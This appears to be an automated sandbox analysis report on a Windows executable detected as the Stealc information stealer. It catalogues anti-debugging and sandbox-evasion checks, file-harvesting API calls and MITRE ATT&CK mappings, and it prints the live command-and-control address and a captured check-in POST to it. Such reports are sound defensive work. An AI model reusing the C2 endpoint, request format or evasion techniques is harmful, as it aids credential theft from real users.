Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE26B second address: 12DE270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE270 second address: 12DE27A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1548D0B2F6h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1121B9F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12CE6D1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1360A79 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00ED38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ED4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ECDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00ECE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00ED4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00ECED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EC16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00ED3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ECF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECF68A FindFirstFileA,	0_2_00ECF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ECBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ECDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EC1160 GetSystemInfo,ExitProcess,

0_2_00EC1160

Source: file.exe, file.exe, 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2157800068.0000000001BE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000002.2157800068.0000000001BB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxR
Source: file.exe, 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareU
Source: file.exe, 00000000.00000002.2157800068.0000000001BE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13649
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13652
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13704
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13669
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13664

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EC45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00EC45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00ED9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED9750 mov eax, dword ptr fs:[00000030h]

0_2_00ED9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00ED78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6172, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00ED9600

Source: file.exe, file.exe, 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Q?Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00ED7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00ED7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00ED7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00ED7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2105603461.0000000005650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6172, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2105603461.0000000005650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6172, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37/e2b1563c6670f193.php.	file.exe, 00000000.00000002.2157800068.0000000001BC6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37p	file.exe, 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.37/6t	file.exe, 00000000.00000002.2157800068.0000000001BB2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpZ	file.exe, 00000000.00000002.2157800068.0000000001BC6000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520589
Start date and time:	2024-09-27 16:16:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94802208537805
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'875'456 bytes
MD5:	ad0c6bd7353136531af5325034613533
SHA1:	ee44d2b2e6ad3e32da9c074b5b880e4947c4970c
SHA256:	5947b0b670dbb94778390c83aeb091874f10cb952b2dc3c459ac0e23f380a523
SHA512:	4173f1abc677aa4a17b1947d3c9c164817e7c35f3b9240842861e0babfaba02751f11fda52eee544d62e6a5b3226ac32d1561cf0e2071eede671a18ed956a85a
SSDEEP:	24576:D6wf7cLoJNPpd/jAsGyco0dBBgnXxTrOyIhfX0nI3ZGASsQjipNuDpNv28EGFZ2K:Dl7GcTSsG72x+ysfX/psGpkp86bFX
TLSH:	C19533926D43F2F6EDC26771B553AA8E6235DFC479261D54288B8C0C247392FF4DC82A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1548CA2E4Ah
haddps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1548CA4E45h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-66h], ah
inc ebx
cmp eax, dword ptr [eax+edx*4-06h]
sldt word ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	39e9fb59c0c24bb828f43320b8178d91	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2b1000	0x200	9acee5a36eab5b91d33884dd252fed27	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
llbyxbem	0x50f000	0x1a4000	0x1a3a00	91aad5711e47847d04b720b369740ae9	False	0.9949982080354484	data	7.9547357115051796	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vndwcpmt	0x6b3000	0x1000	0x600	763fa978514f11211415d40d3e140f6f	False	0.5611979166666666	data	4.9508808550480135	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b4000	0x3000	0x2200	032398fe2d5a0a7180ad8285bc630ef7	False	0.07410386029411764	DOS executable (COM)	0.77590994190649	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T16:17:12.173171+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 16:17:10.785897017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:10.797452927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:10.797525883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:10.797700882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:10.802763939 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:11.500509977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:11.500602961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:11.503679037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:11.508725882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:12.173007011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:12.173171043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:12.174293041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:12.174386978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:12.174649954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 27, 2024 16:17:12.174702883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 27, 2024 16:17:15.301161051 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6172	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:17:10.797700882 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:17:11.500509977 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:17:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:17:11.503679037 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 46 35 37 35 30 39 34 33 44 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="hwid"CF5750943D0B612331747------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="build"save------JKECFCFBGDHIECAAFIID--
